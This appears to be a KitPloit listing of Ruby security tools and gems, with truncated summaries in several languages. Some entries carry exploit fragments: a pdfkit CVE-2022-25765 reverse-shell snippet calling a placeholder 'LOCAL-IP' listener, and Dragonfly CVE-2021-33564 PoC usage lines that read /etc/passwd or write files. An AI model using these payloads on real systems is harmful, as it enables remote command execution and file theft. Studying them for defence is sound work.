ssh_scan

sshscan 一个SSH配置和策略扫描器 ⚠️ 弃用通知 ⚠️ Mozilla 不再维护 SSH Scan 项目。 请 fork 该项目以继续开发。 主要优势 最小依赖 - 使用原生 Ruby 和 BinData 完成工作，没有繁重的依赖。 不仅仅是脚本 - 实现可移植，可用于其他项目或任务自动化。 简单 - 只需将 sshscan 指向一个 SSH 服务，即可获得关于其支持内容和策略状态的 JSON 报告。 可配置 - 制定适合您独特策略要求的自定义策略。 设置 作为 gem 安装并运行，输入： root@kitploit: gem install sshscan sshscan...

droid-hunter

root@kitploit: .---. .----------- / \ / ------ / / \ / ----- ╔╦╗╦═╗╔═╗╦╔╦╗ ╦ ╦╦ ╦╔╗╔╔╦╗╔═╗╦═╗ ////// ' / --- ║║╠╦╝║ ║║ ║║───╠═╣║ ║║║║ ║ ║╣ ╠╦╝ //// / // : : --- ═╩╝╩╚═╚═╝╩═╩╝ ╩ ╩╚═╝╝╚╝ ╩ ╚═╝╩╚═ // / / / '-- By HaHwul // //..\ www.hahwul.com ====UU====UU==== https://github.com/hahwul/droid-hunter...

ctf-party

ctf-party 这是什么...

seccomp-tools

Seccomp Tools 用于 seccomp 分析的强大工具。 本项目主要（但并非仅）面向 CTF pwn 挑战中 seccomp 沙箱的分析。 部分功能为 CTF 专属，但同样适用于分析真实世界中的 seccomp 过滤器。 功能特性 Dump - 自动从可执行文件中转储 seccomp BPF。 Disasm - 将 seccomp BPF 转换为人类可读的格式。 支持简单的反编译。 尽可能显示系统调用名称及参数。 彩色输出！ Asm - 让编写 seccomp 规则像编写代码一样简单。 Emu - 模拟执行 seccomp 规则。 Explain -...

aws_public_ips

awspublicips 目录 功能简介 快速开始 CLI 参考 配置 IAM 权限 更新日志 贡献指南 联系方式 功能简介 awspublicips 是一个用于获取与 AWS 账户关联的所有公共 IP 地址（包括 IPv4/IPv6）的工具。 它既可作为库使用，也可作为 CLI 使用，并支持以下 AWS 服务（均包含 Classic 和 VPC 两种类型）： APIGateway CloudFront EC2（进而支持：ECS、EKS、Beanstalk、Fargate、Batch 及 NAT 实例） ElasticSearch ELB（经典 ELB） ELBv2（ALB/NLB）...

declarative-policy

DeclarativePolicy：一个声明式授权库 该库提供了一个用于编写授权策略的 DSL。 它可以用于将逻辑与权限分离，并已在 GitLab.com 的生产环境中大规模使用。 该库的原始作者是 Jeanine Adkisson，版权归 GitLab 所有。 安装 在应用的 Gemfile 中添加以下内容： root@kitploit: gem 'declarativepolicy' 然后执行： root@kitploit: $ bundle install 或者通过以下方式自行安装： root@kitploit: $ gem install declarativepolicy 示例...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-漏洞利用-反弹Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' 通过 CURL（修改粗体 值）： curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

pastenum

Pastenum Pastenum es una herramienta de enumeración de volcados de texto. Está diseñada para ayudar a encontrar y enumerar volcados de datos y doxs publicados en sitios públicos. Actualmente busca en los sitios github.com, gist.github.com, pastebin.com, pastee.org y pastie.org. Pastenum es una...

mihari

mihari 一个基于OSINT威胁狩猎的查询聚合器。 Mihari 可以在单一规则中聚合多个服务的多次搜索，并将发现结果持久化到数据库中。 Mihari 默认支持以下服务： Censys CIRCL passive DNS / passive SSL crt.sh dnstwister Fofa GreyNoise HunterHow Onyphe OTX PassiveTotal Pulsedive SecurityTrails Shodan urlscan.io Validin VirusTotal & VirusTotal Intelligence ZoomEye...

vbsmin

VBSmin VBScript 压缩工具 特性 ⬜️ 去除多余空白 行尾空白 行首空白 空行 行内多余空格 💬 移除注释 单引号（行首） 单引号（行内） REM 1️⃣ 单行化 分行连接（下划线） 冒号 快速开始 快速安装 root@kitploit: $ gem install vbsmin 查看更多安装选项。 默认用法：命令行 root@kitploit: $ vbsmin samples/features.vbs 原文件大小：344 字节 压缩后大小：244 字节 节省空间：100 字节 原文件路径：samples/features.vbs...

exploit-CVE-2022-25765

Exploit para CVE-2022-25765 pdfkit - Inyección de Comandos ¿Te gusta este repositorio? ¡Danos una ⭐! Solo con fines educativos y de investigación de seguridad autorizada. Autor del Exploit @UNICORDev por @NicPWNs y @Dev-Yeoj Descripción de la Vulnerabilidad El paquete pdfkit desde 0.0.0 es...

CVE-2022-36231

CVE-2022-36231 La gema de ruby pdfinfo = 0.5.3 es vulnerable a la Inyección de Comandos del Sistema Operativo al ejecutar un método en un objeto PDF::Info. Un atacante que utilice un payload especialmente diseñado puede ejecutar comandos del sistema operativo mediante el encadenamiento de comando...

hoper

Hoper 它显示您指定的 URL 到达其端点所经过的所有跳转。 例如，如果您想查看邮件中的 URL 或 URL 缩短器的完整路径，Hoper 会返回所有 URL 重定向。 安装 root@kitploit: $ gem install hoper 使用 在命令行中输入： root@kitploit: $ hoper url 开发 检出仓库后，运行 bin/setup 安装依赖。您也可以运行 bin/console 进入交互式提示，以便进行实验。 要将此 gem 安装到本地机器，请运行 bundle exec rake install。要发布新版本，请在 version.rb...

inspec_cve_2019_15224

一个恶意的 rest-client gem 2019年8月19日，发现rest-client gem有多个版本发布了包含恶意代码。在发现恶意的rest-client的同时，还确定了其他几个新的 gem 也携带了类似的代码。 相关报道： https://www.securityweek.com/backdoor-found-rest-client-ruby-gem https://www.theregister.co.uk/2019/08/20/rubygemhacked/ https://www.macobserver.com/news/ruby-11-backdoors/...

CVE-2021-33564

CVE-2021-33564 PoC Script de explotación para CVE-2021-33564 Inyección de argumentos en la gema Ruby Dragonfly. Uso Lectura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -r /etc/passwd Escritura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -w...

CVE-2022-25765-exploit

CVE-2022-25765 — Command Injection in pdfkit Descripción CVE-2022-25765 es una vulnerabilidad de inyección de comandos Command Injection que afecta a pdfkit Ruby gem en versiones 0.8.7.2. La vulnerabilidad tiene una severidad CRÍTICA con CVSS 9.8, ya que permite ejecución remota de comandos sin...

CVE-2021-33564

CVE-2021-33564 PoC Script de explotación para CVE-2021-33564 Inyección de argumentos en la gema Ruby Dragonfly. Uso Lectura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -r /etc/passwd Escritura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -w...

CVE-2023-31606

CVE-2023-31606 Vulnerabilidad Se descubrió un problema de Denegación de Servicio por Expresión Regular ReDoS en la función sanitizehtml de la gema redcloth = v4.0.0. Esta vulnerabilidad permite a los atacantes causar una Denegación de Servicio DoS mediante el suministro de una carga útil...

crack-0.1.8-fixed

= crack 非常简单的JSON和XML解析，取自Merb和Rails。XML解析器取自Merb，JSON解析器取自Rails。我不居功，只是打包它们以便大家轻松使用。 == 关于版本发布 版本会在GitHub上打标签，并在GitHub和RubyForge上作为gem发布。每当我添加补丁或新功能时，都会推送到master分支。要从master构建，可以克隆代码，生成更新后的gemspec，构建gem并安装。 rake gemspec gem build crack.gemspec gem install 构建好的gem == 关于补丁/拉取请求 Fork项目。 添加功能或修复bug。...

sanitize

Sanitize Sanitize is an allowlist-based HTML and CSS sanitizer. It removes all HTML and/or CSS from a string except the elements, attributes, and properties you choose to allow. Using a simple configuration syntax, you can tell Sanitize to allow certain HTML elements, certain attributes within...